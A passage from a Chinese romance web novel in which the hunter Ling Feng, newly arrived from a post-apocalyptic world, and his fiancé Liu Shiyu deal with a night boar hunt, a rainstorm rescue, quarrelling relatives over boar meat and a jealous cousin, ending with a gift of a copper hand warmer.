于是族长答应出面,去帮他讨些赔偿回来,叫他往后可莫再拿这等事来烦他,更不许闹到里正那。 那汉子勾唇一乐,恭恭敬敬朝族长鞠了个躬,道了声谢,说日后定记得族长的好。 完了特意嘱咐,银子若是要到了给他家那位便行,他一会儿还得上山,许是不在。 甚至走时还当着族长面,边夸他大方有善心边走到他家狗窝,顺手牵羊了一只狗崽,还是挑的最肥最壮的那只。 老族长吹胡子瞪眼也忍了,只要能将这小子打发走,便是谢天谢地。 他杵着拐去杨大莲家的路上嘴里还在骂,这臭小子当真是个混球。 柳时雨听完有些哭笑不得,更多的是心暖开心,骄傲他的未来夫君竟这般厉害,这样好的一个男子,竟被他遇着了。 柳俊生还告诉说,起初那杨大莲哭天喊地,撒泼打滚死活不认。 族长被她弄得不耐烦放了狠话,说若是希望人家真上告到衙门,真想同你两儿子到牢里头去坐坐,那便继续这般赖下去吧,我也保不了你。 本就是你们自己干的好事,非要去招惹,现在这般又是闹给谁看。 那杨大莲一听要坐牢要闹到官府瞬间就慌了,就怕了,掏银子时那个肉疼的呀,像是有刀在割。 五十文,那可是他们一大家子一日的开销了。 族长说这样也好,他们这家子向来是不见棺材不落泪,不吃回教训,日后指不定再折腾什么事儿来。 “多谢了俊生哥,麻烦你跑一趟。”柳时雨签完字,将那串铜钱攥在手心,唇角噙着抹会心的笑。 柳俊生被这笑晃了下眼,反应过来后不好意思地挠挠头:“应该的。”他其实挺佩服那汉子的,那副谁都没放在眼里的样。 “钱你收到了便行,那我就先走了。”他告辞道。 柳时雨目送客人离开,低头便看到小狗崽在冲他摇尾巴。 一想到他是如何来的,就觉得有趣。 . 夜色如绸,残云遮天。 随着“嗷呜!!!”一声惊天咆哮! 丛林深处传出阵阵野兽发怒的嘶吼和各项机关被触发的声响。 霎时宿鸟 惊飞,生灵鼠窜。 整座山仿佛都被惊醒。 银色的月光如垂缎穿过高处的枝丫洒下。 亏是冷冬时节,大多树木的叶片都稀疏枯萎,这深山老林才不至于伸手不见指。 两道矫健的人影像风一样在植被间飞闪,他们交替拉弓配合默契。 一时间追逐声,箭矢尖锐破空的咻咻声,以及不知名野兽厚重的脚步声乱成一团。 忽的,林子安静了。 凌锋脚步急刹,身上的衣衫被寒冽的霜气浸透,他手持利刃长弓,气息微喘肌肉紧绷,如炬的黑眸死死盯着某处,正保持着十二分警惕伺机而动。 他身后同样稳扎稳立的,是稍挂了点彩的余斌。 一股不属于他们两个的血腥气在林间散开... 他们面朝的正前方,浓雾深处,一双猩红的兽目逐渐显现,庞然大物悄然而至... 不妙! 余斌瞳孔骤然一缩:“坏了,没困住它!” 下一刻,那兽一声巨啸,像发了疯一样撞来。 直奔凌锋! “快躲开!”余斌嘶声大喊。 白日的冰雨持续到了晚上,还有了下大的趋势。 小爹和狗崽儿都睡了,柳时雨迟迟未能入梦。 外头突然传来阵人群的吵嚷声和脚步声,数根点燃的火光晃过。 柳时雨心中疑惑,睡不着干脆起身看看怎么回事。 他摸索着下床,不小心又碰到了白日他缝衣裳放针线的筐,黑暗中针尖刺破皮肉扎进指尖,他疼得倒吸口凉气,将指腹含进嘴里。 幸得扎得不深。 可这心怎的慌得厉害。 柳时雨蹙眉暗吐口气,披上外衫出屋。 整个柳家庄不少人家都亮了下灯,一众叔伯婶子还有年轻汉子都借着火把的光,三三两两攀谈着一块往山的方向走,步伐匆匆。 这大半夜的村子热闹得很。 “快快快!都去帮忙!” “出啥事了?” “到底怎么了?大半夜族长召集大伙干啥?” “去了不就知道了。” 寒风刮得脸蛋迅速降了温,到处都生了雾。 柳时雨心中有种不好的预感,他跟着走了几步,赶忙拦住一熟悉的婶子。 “婶,你可知山上发生何事了?为何大家都往那去?” 那婶子借着光发现是他后立马来劲了:“你还不知道?好像是你男人山上怎么着了。” 柳时雨双眸睁大,急问:“他怎么了?” “我也就听俺们家那位提了一嘴,族长在祠堂召集各家壮劳力,说是你家的同那隔壁村的猎户在山上闹出了不小的动静,隔壁那小伙慌慌张张跑下山来搬救兵,具体咋的了也不清楚,你还是快去看看吧,族长都惊动了,莫不是出什么事儿了。” 柳时雨脑子嗡的一声,拔腿就往山上跑。 雾中细雨越飘越大,逐渐成了断线的珠。 这几日本就天气欠佳,这条土路成了湿滑的泥巴路,泥泞不堪,谁踩在上面都走得艰难。 越靠近山脚,人就越多了起来,开始都变成了折返往回走的。 许多都是高壮的汉子,隔壁村的也有。 他们竟三五成队劲头十足,抬着一头接一头的成年大野猪往村里去。 此番景象简直壮观得惊人! 可柳时雨现下全然顾不得这奇观,一心只为寻人。 他身上的衣裳被雨水浸透,漂亮的脸蛋流淌着水痕,眼睫湿漉,嘴唇苍白,清冷秀气的眉头蹙着。 那双细长的腿踉踉跄跄踏在泥里,急得慌不择路,裤脚和衫摆全染了泥污往下坠。 “你可看到凌锋了?” “没有。” “你看到了吗?” 被问的人摇头,步子不停。 “叔,你看到我家男人了吗?” “没看到,我们都只接到消息到山脚下抬野猪,你别着急,没听说有谁受伤,可能还在山上呢。” 听到这话柳时雨稍稍落了点心,却还是不敢耽搁,颤着寒冷的身子,独自逆着人群继续往前寻。 14.没白疼你 沉夜坠空,寒气刺骨,阴风冷雨夹着冰粒呼啸山林。 捕获野猪群的喜悦和热闹随着乡亲们各自归家而消散,四周人踪尽灭。 临近山脚的林间僻径,四五名精壮汉子脚步沉稳有序,正低调押着一辆厚重的木笼板车悄然下山。 板车上的笼子盖了一块巨大黑布,借着雨幕遮掩,显得更加神秘行迹难寻。 车轮碾碎路面薄冰,接触湿滑冻土声响沉顿。 笼中被禁锢的兽偶尔压着喉咙发出虚弱低吼,转瞬被风雨覆盖。 凌锋身穿蓑衣头戴斗笠当甩手掌柜走在最前列,他侧后方的余斌与请来的推车工一起,帮着照管,确保板车平衡预防车轮扎陷。 前路视野朦胧,看不真切,雨雾里隐约有个人影在缓步靠近。 凌锋帽檐下的黑眸沉静无波。 谁家二百五这时候还敢只身一人往山上跑。 荒山野岭黑灯瞎火,这跟撞鬼有什么区别。 他只远看了眼,便不以为意移开视线。 一旁的余斌毛手毛脚抹去脸上的雨水,抻着脖子眯眼细瞧。 “凌老弟,”他两个大步和凌锋并肩,“我怎么瞧着那人,咋恁像你家夫郎啊?” 凌锋心头一跳,眉宇间那股从容骤然消失,分辨的目光落过去,一口气也提了起来。 瘦小纤弱的小哥儿跟个插地里嫩苗秧子似的,饱受风雨摧残,孤零零跋涉在这泥路里。 这个糊涂蛋。 凌锋咬紧后牙,几个箭步就冲过去。 “你跑到这里来干什么?!”男人一把握住人的手,大声质问。 柳时雨猝不及防,冻得有点发懵,牙齿都在打架,但悬着的心瞬间安了不少。 凌锋看着他这副浑身湿透的狼狈样,也顾不得其他,手忙脚乱把身上的长蓑衣脱下将人裹住。 小哥儿被淋得眼睛都睁不开了,却还要仰着脸眼巴巴望他,打量他,像在确定什么。 “凌,阿嚏!”柳时雨张嘴就没憋住打了个喷嚏,又咳了两声,“凌大哥,我听他们说你出事了,我担心你...” 他一着急便没想那么多,找到这儿已进退两难。 幸在他是安然无恙的。 周围风声雨声杂音太多,凌锋结合唇语才听出他说的什么。 现在可不是聊这些的时候,他迅速评估眼前局势,一把揽住小哥儿发抖的身子将他带进怀里。 “趴好。”凌锋弯腰附耳,下秒便托住人的臀,圈紧他的后背,将他按在肩头稳稳抱起。 柳时雨完全没反应过来,失重感叫他非常依顺地把脸慌埋进男人的颈窝,一动不动地趴着。 他被他温暖的体温裹着,同他紧密相贴,能感受到他加速跳动的脉搏,和潮湿的体香。 凌锋将小哥儿身上尺寸过大的蓑衣往上提了提,连头发丝都遮得严实。 这个姿势,他头上的斗笠刚好也能一罩二,可以确保怀中瑟瑟发抖人不再淋雨。 “他身子弱怕着了风寒!我带他先走一步!”凌锋扭头朝刚好跟上来的余斌喊道。 耳边风雨不停,得亏嗓门够大。 “明白明白!快些回去!这有我!”余斌很讲义气乐呵地摆摆手。 没等他话音落地,凌锋便抱着怀里的一团,大步流星消失在了雨幕里。 柳时雨全程蒙着头埋着脸,只能感受到男人的紧促的呼吸和起伏的胸膛。 就算如这般什么都看不见,连走了多远他们到了哪都不知道,他却丁点都未觉得害怕。 蓑衣上残留着些许温度,又有个人形暖炉,他蜷缩的身子像是被点着了般,竟一路都没感到有多冷。 回到家凌锋火急火燎冲进厨棚,将人放到土灶前坐下,然后以最快速度生火。 明火燃灭黑暗,视野终于变得亮堂,红旺的光照在脸上身上,连同四周的温度都在急剧上涨。 柴烧得噼里啪啦,凌锋一刻没停往锅里添水,然后走到主屋轻着手脚进去给小哥儿拿了两套干净的衣裳过来。 早听见动静在门口的哼唧的小狗崽立马兴奋地围在他脚边打转,又跟着跑到厨棚冲柳时雨撒娇。 “先穿这件,把身上湿衣服换了,这套等水热洗完澡再穿。” 凌锋把衣服递给人,完了又注意到人脚上那双淌水的鞋,俗话说寒从脚入,他想着蹲下就要上手给他脱。 “咳咳咳凌大哥,我自己咳咳我自己来就好!”柳时雨耳尖烧红,怯生地缩回脚,心跳得厉害。 他将湿鞋放到一旁,擦干脚上的水,然后踩上男人又给他弄来的一双干爽的鞋,走到他屋里将衣服匆匆换了。 为了不打扰柳小爹休息,凌锋干脆将那浴桶扛到自己屋,让小哥就在他这洗澡收拾。 火够旺,灶温高,一锅水很快便烧得翻滚。 柳时雨烤着火暖烘烘地看着男人忙前忙后,几番过意不去想说帮点忙或叫他也先去顾顾自己,却嘴张了又张根本找不到说话的机会。 凌锋迅速将洗澡水兑好,试了下温,冲跟进来的小哥儿招呼:“赶紧的,脱衣服进去泡,烫着呢。” 他大喇喇说完,站在旁边盯着人,一点没觉得有什么不对。 柳时雨手揪着自己衣领保持着欲脱的姿势,在浴桶旁等了几息,才臊着脸提醒:“你出去呀。” 凌锋默了一秒,才恍然反应过来,脸瞬间跟着烧得辣。 差点忘了,他两现在是男男有别。 “对不起对不起,你洗。”他赶紧道歉,慌手慌脚撞门出去顺便带上。 柳时雨看着男人消失的方向抿了抿唇,嘴角勾起点意味难明的弧度。 他将自己剥干净踏进那热水里,然后慢慢整个身子都泡进去。 浴桶暖雾蒸腾,热流漫过肩头,氤氲的水汽飘上眉眼。 柳时雨身上的寒意一点点被驱散,浑身的筋骨都浸得发软,紧绷的肩背渐渐松弛,舒服得他轻叹了口气。 这间屋子旁边便是厨棚,他听见男人又在叮里哐当做什么了。 他微阖着眸,长睫垂落,朱唇润艳,听着这声响莫名心安踏实。 一刻钟后,凌锋端着碗姜汤敲响房门。 “进来。”里头人嗓音软哑,慢悠悠地。 凌锋听得耳根子发痒,稍微顿了下才推门进去。 小哥儿已经洗完澡穿好衣裳,正坐在他床上用布巾擦拭长发。 那张清丽的脸蛋总算染上红晕有了血色,几缕湿濡的发丝贴在他白皙的脖颈和锁骨,透着股不经意的诱态。 那双柔润的眸子里含着一缕点水雾,直定定地望着他,将眉心的那颗痣都衬得更媚了,比当初他见他第一眼还要勾人。 深更半夜,这样一番美景。 要不是他两认识,他都要以为自己这是来了兰若寺,见到了个会迷惑人心会吸人阳气的男妖精。 凌锋喉结滚了滚,心想幸亏自己不是gay,定力够足,不然指不定会出什么事。 他没吃过猪肉但见过猪跑,末日世界两个男人之间其实跟男女一样常见,就跟家常便饭一样。 但像柳时雨这么漂亮的男人,他倒从没遇到过。 他若是过去,在那样一个秩序全无的世界护不住自己的话,估计下场会很... 凌锋拉回思绪不再多想,进屋走近将手里碗递过去:“我煮了姜汤,喝一碗,驱驱寒气。” 柳时雨捕捉到男人那一瞬不敢与自己对视的闪躲,他的眸光像是从他身上抚摸而下般,缓缓垂落到眼前的碗上。 “多谢凌大哥。”他轻声说,然后伸手去接碗,柔软的指腹有意无意撩过男人手背凸起的青筋。 本就有点不自在的凌锋感觉到痒,像是被电了一下猛地收回手。 小哥儿捧着碗在小口小口认真地喝,应当是没注意到他这过激的反应。 凌锋浅松口气,不知道自己刚才是怎么回事,莫不是冬天太干燥产生了静电。 姜汤有些辣,柳时雨喝完半碗,眉头便拧成了一股绳。 他吐了吐舌,小声道:“我觉得应当够了,实在喝不下了...” 凌锋看着人这副委屈巴巴的模样就觉得有趣,平时在他这张清冷疏离的脸上可见不到这么生动的表情。 “行,你接着擦头发。”他说着一把将人手里的碗拿过来 ,咕嘟咕嘟两口喝完剩下的汤就走了。 柳时雨没想到男人竟这般不嫌弃自己喝过的东西,等人出了屋才从惊讶中反应过来,眸底的高兴藏都藏不住。 凌锋懒得再烧水,这大冬天又淋了雨洗冷水也不太好,于是把小哥儿的浴桶扛出去,决定直接用他沐浴的水对付冲个澡。 人家生得白白净净身上香喷喷的,他一个糙老爷们又是从水源稀缺的末世来的,没觉得有什么。 柳时雨一点点擦拭头发上的水,想到今晚发生的事,他心中就像那碗野果子似地酸酸甜甜。 他整个人依偎在他怀里,他那样圈着他裹着他。 自己只有在很小的时候,被阿父这般抱过,那滋味是完全不一样的。 也是第一次,被人这么宝贝地呵护。 柳时雨抬起眸打量着这屋里的一切。 待他们礼成,他便要搬到这屋同凌大哥一起睡了。 他们会同床共寝。 这几天他有尝试替自己号脉,他的体寒之症好生调养,将来应当是有希望好转能怀孩子的。 想到这个,柳时雨脸不由得有些臊热。 他此时正坐在凌大哥的床上... 这场婚事的最初,是他为了自保爬了他的床,那时什么害羞顾忌都没有,现在光是坐着就不好意思了... 哥儿汉子有别,虽然他们是未婚夫夫,但他后来基本都没进过他的屋,最多匆匆一眼,根本没仔细瞧过。 没想到他一个汉子竟然能将屋子收拾得这般利索,那被子叠得方方正正,真是稀奇。 凌锋冲完澡一进屋就见小哥儿在发呆,不知道在想什么。 “还不困?”他随便找话问。 柳时雨倏地拉回思绪,下意识摇摇头又点了下头。 他看着男人,嘴唇翕张,还是开口道:“今日又给你添麻烦了,本是想去帮你,结果...” 凌锋听出人语气里的歉疚,没忍住露出个可堪称为宠溺的笑。 “这说明你心里惦记我,把我当真兄弟,我欣慰还来不及,什么麻不麻烦。”他说完,还是忍不住唠叨小朋友两句,“不过下次,凡事确实还是要先顾着自己,要先保证不让自己生病或者受伤…” 在末世无牵无绊,有今天没明天的过了那么久,现在有个人挂念自己,听说自己出事大冬夜淋着雨也要来找自己,任谁心里都暖,都感动。 这小弟弟没白疼。 柳时雨听到那句‘真把我当兄弟’就再无心理他其他话了,继续闷头擦头发。 “这样难干,我给你端盆炭进来烤烤。”凌锋热心得很,说完就去把土灶里还没灭的柴炭全用铲子挑了过来,两人坐一起烤。 掩着门通风,屋里头也更暖和了。 小狗崽在两个主人之间来回哼唧撒娇。 柳时雨刚才那丁点儿的气来的快消得快,便不跟男人一般见识。 “它还没名儿呢,你给他取个?”他提议道。 “名字接地气好养活,”凌锋顺话题随口说:“叫旺财。” 柳时雨颇为无奈地笑笑,没表达意见,旺财便旺财吧。 “你找族长的事我知道了,”他又想到什么,闲聊般开口:“那家人赔的银子也收到了,有你在真好。” 柳时雨不想再多说什么谢谢,真心实意的表达了心里的想法。 这么多年第一次有人替他出气,他奶那么抠搜,让他出点血最好不过。 “收到了便好,我也只是动动嘴皮子,没费什么功夫,”凌锋笑着说:“那一家子偷鸡不成蚀把米,这回估计得难受死。” 他当时也只是突发奇想的报复,看小哥儿被那些人弄哭,心里不爽得很,非得去搞搞他们。 要到赔偿是好事,就算要不到恶心下敲打敲打也行。 知道他们家的人不是软柿子,下次再上门找事可得好好掂量。 . 翌日上午,祠堂外的大坪。 杨大莲泼辣的大嗓门震天响:“凭啥不给俺们家分野猪肉!全村人都有!凭啥不给俺们?!他还是我孙婿呢!整半头给我都不分!你们这些个没长眼的赶紧的!” 15.冷脸萌啊 柳家庄上空飘起了碎絮小雪。 村民们在临时支起的桌棚前,哈着白气排队领野猪肉。 喜乐融洽的气氛骤然被打断,拿到和没拿到的都拢着衣袖同身边人伫观私语。 “黑心肝烂肚肠!看俺们家汉子没来就都针对俺们一家老小欺负!你们咋不遭天谴!”再次遭拒的杨大莲又接着发疯骂。 负责发肉的年轻小伙嗓门完全盖不过他,解释都力不从心鸡同鸭讲,被为难惨了。 “娘,他们这些年轻后生懂什么?”旁边的刘桂花跟着帮腔,小声怂恿:“族长又不在,同他们讲不清楚,把咱家那份抢了便是!” 杨大莲一听,眼珠贼转,刻薄的嘴角狠起来,冲上前便去捞案上的肉。 “哎!!做什么!”剁肉的小伙忙上前拦,场面一时有些混乱。 宰杀好的野猪肉一块块码在案板,血水顺着缝隙滴滴答答淌进泥地。 刘桂花摸到了一手腥,连肉皮都碰到,气得直跳脚。 柳三叔娶的是个夫郎,性子窝囊,到哪都没有他说话的份,跟来也只会畏畏缩缩帮不上忙。 杨大莲一生气就往他身上撒,这会撒泼耍无赖都没抢到肉,在外头就点着他脑袋骂他没用。 “哼,不是一家人不进一家门。”才来不久的王桃英冷不丁嘲讽。 “禾哥儿他娘,你啥意思?!”刘桂花叉腰扬首拔高了音量,俨然一副随时准备开战的架势。 “我说怪不得你们家地里长不出庄稼,”王桃英也不怵,火药味浓浓地笑着:“原来那粪肥全施在你们这张臭嘴上了。” 乡亲们没憋住哄笑。 “嘿你还敢骂我,我今儿个非得,”刘桂花撸起袖子。 “少在这撒野丢人现眼。”王桃英打断她,懒得废话,“你们为啥分不到猪肉你们自个儿心里当真不清楚?昨个夜里,族长说雨哥儿他男人在山上有了啥事要咱们去帮忙,我们家家户户可都是派了人去的,出了力,猪肉分给咱们理所应当,而你们家人,连个面都露着,睡得那叫一个香,亏得还算是本家亲戚呢,咋的?你们还想白占这便宜?凭啥呀!” “就是,哪来的脸。” 刘桂花脸色难看返不出话,杨大莲到底走的路吃的盐多些,当即就甩锅:“又没通知俺们家!都睡了哪知道!这也能怪俺们?” 她扯起谎来面不红心不跳,当时哪知道是这么个事儿,还以为是那汉子在山上出啥事儿了,他们巴不得呢,死在山上最好,一个不知天高地厚的外来汉,还敢在他们柳家庄同他们家人作对! “昨儿个动静那般大,族长让大伙互相转告,怎的?你们家人不同些?还得专门派人去请?”王桃英面露鄙夷,又说:“当时我路过你家,可听着里边有声儿呢,谁知道你们是真睡假睡。” 跟来的柳知月站在不远处差些将一口白牙咬碎,年轻哥儿脸皮薄,觉得自己脸面都被两长辈丢尽了。 本是听说村里有人端了野猪窝,猎了数十头野猪,两个村分,每家能分好大一块,族长要在祠堂前给大伙儿发。 他们家也高兴坏了,就想快些吃上一口荤腥,谁承想排个队轮到他们家,却不给发! 柳知月眼神淬上心机,稍加思索,不再跟着在此纠缠,转身走了。 . 柳时雨迷迷瞪瞪睁开眼,外头早已天光大亮。 他眉眼惺忪从床上坐起,睡得完全弄不清当下是何时辰,许是昨夜累着了,又歇得晚,竟连公鸡都未能将他叫醒。 “小爹,你吃了没?”他下地披衣裳,问里侧靠在床头替他纳鞋底的柳小爹。 “吃过啦,小凌还给我熬了药,”小爹笑得慈爱,“他特意叫我莫吵你,让你好些睡。” 听到这个人便想到昨夜,柳时雨抿抿唇,眸底淌着一丝温恋。 他加速拾掇好自己,同小爹又闲扯了两句便出了屋。 檐下坪中扫得干净,地面覆着一层薄雪。 两只鸡都已经喂过,在鸡舍外的围栏里溜达。 小旺财隔着栅栏冲它们热情地摇尾巴,蹦蹦跳跳邀请玩耍,雪地它踩过的地方全是一串的梅花印。 柳时雨摸摸狗头走去厨棚,一掀开锅盖,发现里头竟温着碗米粥和半颗咸鸭蛋,还在冒热气。 他不必想就知道这定是凌大哥给他留的。 像他们这样的穷人家,米金贵,咸鸭蛋亦是,小粥就咸菜已经是极好了,也不知他是从何处弄来的这个,他自己又吃了没。 柳时雨闻着这米香,空空的肚子咕咕叫,当真有些饿了。 他盯着那金黄流油的咸蛋黄吞了口口水,在筷筒拿起双筷子小心夹了一小点儿放进嘴里。 沙糯咸香,跟在吃油膏似地特别鲜醇,一下便叫人开了胃。 柳时雨在土灶边坐下,端起那碗粥吹吹热气就着鸭蛋小口地喝。 暖呼的食物顺着喉管进入空荡荡的胃里,感觉整个人都暖和舒坦了。 他过去从未想过,自己也能过上这样的日子,不必起床便洒扫干活,不必大冬天吹着冷风为了口吃食忙前忙后。 就是不知凌大哥一早又去哪了... “请问,这是柳时雨,柳准夫郎的家吗?”突然一个问候的声音响起。 刚刷完碗筷的柳时雨稍愣,忙放下手中的活,将湿了的手擦净走出厨棚。 路边矮墙外,站着个穿着体面的男子,手中捧了个系着红绸的新包裹,笑得一脸恭敬喜庆。 此人穿着打扮一看便不是他们村里的,瞧着也眼生。 “你好,你是?”柳时雨上前两步,态度礼貌。 男子看清这家夫郎的样貌,眼前明显一亮,笑意更甚。 他微微欠身,谦和道:“小的是县城锦绣成衣铺的伙计,奉主顾之命,特地将这制好的嫁衣送上门来过目,烦请验收,若是有尺寸或何处不合心意,只管到店里传话,我们可再做调整。” 柳时雨怔怔接过那精致的包裹,好几息才反应过来。 嫁衣?这是为他特意准备的嫁衣? 他本都没想过的,像他们这样的人家,尤其是哥儿,成亲都是随便穿个喜庆点颜色,或者扯块红布自己凑合缝一件,哪轮得到穿什么嫁衣。 “多谢,劳烦你费心了。”柳时雨客气道。 将那伙计送走,他抱着怀里的包裹在原处站了会儿才从那股幸福和喜悦中回过神来。 不知何时出现在路边树后的柳知月,绞紧帕子盯着柳时雨手里的东西,眸子瞪得发红。 . 凌锋抓着个巴掌大的圆形手炉从隔壁村往家的方向走。 脑子里浮现出小哥儿的那双手,纤长白皙,以他的角度来看称得上是双小手。 他比划了下手里的东西,这玩意是铜做的,炉盖镂空轻便小巧,有提梁可以手提,家里那位无论是捧手里还是揣兜里应该都拿得住。 那家伙手总是冰凉,往这炉里放些烧红的炭块碳灰,外面再套上绢布,起码可以暖两三个时辰。 他听说县里的公子小姐冬日都人手一个,便提了一嘴,没想到余斌他哥刚好是打铜匠,这小子说什么都要找他哥打一个送他。 “喂,你站住!” 凌锋思绪骤然中断,被一个不知道从哪冒出来的少年拦住了去路,看样貌特征应该是个哥儿。 柳知月还是头回这般近距离同这外来汉面对面,望着眼前这张英俊周正的脸,竟呆了一瞬,心口生出几分荡漾来,连脾性都压了不少。 之前只远瞧过,现下发现此男子长得,竟比他阿兄那些家境颇优的同窗公子,都要好看许多。 可他一个猎户,还是那柳时雨的猎户!他的未来夫君! 柳知月恢复方才的傲慢,神气道:“你怕是不知道那柳时雨平日在我们村都是什么样的名声吧?我告诉你,村里那些个汉子,成了家没成家的,对他有想法的可多着呢!他勾搭完这个又勾搭那个,前阵我上县城,他那位旧情人李家少爷可还找我问起过他呢,指不定就等着机会同他再旧情复燃,我劝你最好再好些考虑要不要娶他,否则哪日被戴了顶绿帽都不知道!” 他说完沾沾自喜等着他跳脚愤怒的反应,毕竟没哪个男子在知道自家夫郎不干不净水性杨花后还能一点儿都不在意吧。 可等了几息也没见对方有何反应。 他心觉不对,抬头同他对视一眼。 就见对方眉头微蹙,突然莫名其妙地开口:“你谁啊?” 柳知月觉得自己仿佛被打了一耳光,他竟然,连他是谁都不知道?! “你!”他气的小脸通红,“我叫柳知月!是柳时雨的堂弟!” 凌锋只觉得这人跟过家家一样好笑,行事作风蠢笨无知,长得也是一副没脑子的样。 这样的人说的话谁知道哪句真哪 句假,一看就是不安好心来挑拨离间的。 那家人老的不是好东西,小的也不是,上梁不正下梁歪。 要不是看着像个未成年,怕把人弄死,他早一拳头招呼过去了。 “我们家时雨,当真有那么多人喜欢他?”凌锋勾起薄唇漫不经心问。 “当真!” 凌锋点点头:“行我知道了。” 他说完便要走,柳知月弄不明白他是何意思,再次急切地追上他又挡住他去路。 “你知道了要如何?!” 凌锋抓着暖炉背着手,黑眸居高临下:“自然是要好好珍惜他啊。” 柳知月诧异得咬牙切齿:“他这般你还要珍惜?!” “他哪般?别人喜欢他那是别人的事,他生得好看是优点,招人喜欢又怨不得他,我不好好珍惜,万一哪天他觉得我不够好了,要离我而去被别人抢走了,那我不就没夫郎了?” 凌锋故意说得有鼻子有眼,像是在讨论一件特别严肃的事情:“所以啊,我得对他好啊,好到让他离不开我,让他眼里再也看不见别人,永远都没机会移情别恋才行。” 柳知月震惊居然会从一个男子口中听到这样一番温柔深情的话。 可这样的男子偏偏不是他的! 他柳时雨根本不配得到这样的好,根本没有资格得到这个人的喜欢! 柳知月眼底的嫉恨满到快溢出来,他脸蛋染上一点莫名的薄羞,冲凌锋道:“你怎会没有夫郎?你也可以找别人!若是我,便不会让你有这样不安的想法,不会勾搭外头那些人给他们机会!像你这般有能耐的男子就应当找一个守本分的!而不像他那样的狐媚子,除了那张脸什么也不是!” 原来在这等着他呢,冲他来的? 本来还以为只是单纯的找不痛快。 凌锋眉宇掠过一丝不适,他可不想被另一个男的恶心。 不对,更可能是冲他家肉的来的,搀他弄回来的那些野猪肉,毕竟这在两个村都人尽皆知,他还特意打过招呼不给他们家分。 “哪个男人不喜欢狐媚子,”凌锋唇角挂着抹讥讽的笑,“再说狐媚子也不是谁想当就能当的,比如你,就不够格。” 柳知月鼻息一抖:“你什么意思?” “意思是你长得太丑了,”凌锋眼神冷下来,吐字清晰:“别再在我眼前晃,好狗不挡道,滚开。” 柳知月在原地气懵了,呼吸都在抖。 他本就最在乎自己的样貌,本就不服气这么多年一直被那柳时雨压上一头。 他说他丑?他竟然说他丑!!这世上还从未有人说过他丑! “你!”柳知月伸手想抓住要走的凌锋,再次拦他。 可下一瞬猝不及防一个巴掌狠狠落在了他的脸上。 他被扇歪了脸,瞪大眼睛傻住了。 这巴掌不算重,许是主人的力气本就不大,可对他这样一个细皮嫩肉的小哥儿来说属实是狠了些,脸蛋上立马就显出了一个巴掌印。 他难以置信的转正脑袋,映入眼帘的是柳时雨那张清冷微愠地绝色脸蛋。 “啊啊啊啊啊啊柳时雨你敢打我!你死定了啊啊啊啊!”柳知月彻底尖叫破防,双眸通红噙着泪举起胳膊就要扇回去。 被自家小哥儿的彪悍稍稍震撼的凌锋这才回过神,赶忙把人拉到身前,躲过了那一下。 同时又一把抓住柳知月还想拉扯的手臂,用力甩开。 柳时雨见状也不甘示弱,气呼呼地从男人保护圈出来,二话不说对着柳知月又是一巴掌。 柳知月脸火辣辣地疼,顶着两个印直接哭了出来,疯了一样要扑过来,路过听见动静的乡亲立马跑来拉架。 凌锋忙从后方将自家那位搂住,怕他吃亏,嘴上说着别打别打,却又拉偏架放任怀中人趁机多挥了几拳撒气。 冲突半天柳时雨小脸冷淡,一根头发丝都没伤着,柳知月却蓬头肿面,哭得一把鼻涕一把泪。 “你们拉我干什么!凭什么只拉我!他把我打成这样!凭什么拉我不拉他!呜呜呜呜呜....” 帮忙劝架的乡亲们这才觉得有点不对,看向正在观察自家小哥儿手疼不疼的凌锋。 凌锋感受到那几抹视线,有点心虚,觉得差不多了,单手圈住人的细腰,将人一把抱起远离了现场。 柳时雨伏在男人肩头,还很不服气挣了挣。 16.赚大钱了 “好了好了不气不气,看看这是什么。” 凌锋单手把人放地上站稳,赶紧又将另只手抓着的暖炉递到人面前哄。 柳时雨神色不豫,垂眸看向这东西,注意力瞬间被其精细的做工吸引,冷淡的表情总算回温了些。 他小心将那物件接到掌心,大小对他来说竟然正正合适。 “这是,给我的?”小哥儿轻声问。 “嗯。”凌锋迅速应。 柳时雨抬头看向微俯身瞧着他的男人,对方像是在静候他的评价,又像是在哄着他观察他的反应。 总之是一副很想让他高兴样子。 他指腹珍惜地抚过暖炉上那雕琢的花样纹路,怎么看怎么满意。 这当真是今日第二个惊喜。 过去他迎着冷风受着冻去县里卖封山前的最后一批药材,总能在别人手中见到这种小铜炉。 冻得失去知觉的手指光是靠近它便会觉得热乎,抱在怀里握在掌心想必是更舒坦的。 但能用上这个的人是少数,要么是在家里头及受长辈们宠爱,要么就是家底非富即贵总之得有些小钱。 可这两种,他都不占。 铜炉要钱,放在里头烧的炭对许多穷人家百姓来说,更是珍贵的消耗品,是冬日活命的根本,怎会为了贪一时的暖而去浪费。 没想到有一日,也会有人这般珍视他,让他能用上这个。 只是,此物如此玲珑巧致,定是又花费了不少银子吧... “你今日一早不在家,便是去为我买这个了?”柳时雨将东西用双手仔细握着,又闷声问。 凌锋从小哥儿刚才微表情和气场变化,就看出他定是喜欢的,不过以他对他的了解,开心过后就该心疼钱了。 “是啊,但这没花银子,”他笑眼看他:“本来是准备给你买,谁知余斌他哥刚好是打这玩意的,就白给了我一个。” 男人这般说话的样子像是在同他邀功似地,莫名滑稽。 柳时雨嘴角不动声色地扯了扯,说:“我们不能白占余斌大哥便宜,你初来乍到时他便愿意同你交好,是难能可贵的朋友,我们要么把银子补给他,要么也赠他一份心意才行。” “嗯,你说的对。”凌锋拖了点长音,盯人的黑眸里带着连他自己都未察觉的温柔。 这小孩絮絮叨叨,倒替他操心起人情世故来了,还真有一副贤内助的架势。 等会,凌锋忽然又清醒般正了脸色,他想什么呢。 柳时雨没注意男人的阴晴不定,问出了自己斟酌好会的问题:“那你同那柳知月又是怎么回事?” 他拿到婚服便满心欢喜想去寻他,见他迟迟未归,谁曾想看到的却是那个人在对他拉拉扯扯,纠缠他,貌似还说了他不少坏话。 “咳咳...”凌锋心虚清嗓,中止乱七八糟的杂念:“没怎么回事,我都不认识他,他莫名其妙当街拦我,又说些莫名其妙的话。” 提到这个,凌锋就想起小哥儿那抽人耳光的狠劲,平时性子冷冷淡淡,刚才却像只张牙舞爪的小野猫,他简直像是头回认识他一样。 “倒是你,上去就是两巴掌,你这细胳膊细腿要是吃亏怎么办,要是别人叫帮手来你又打不过,我刚才可都注意了,你那堂弟招招都是奔着你脸想毁你容来的,可真够阴毒的,下回我如果不在你可不能这么冲动,”凌锋玩笑道:“毕竟你这么漂亮的小脸蛋要是被抓花了,那可怎么得了。” 柳时雨不赞同地抿了下唇,想也没想反驳:“这回你不是在吗?” 凌锋一愣,心像是被什么击中了似地,直发软。 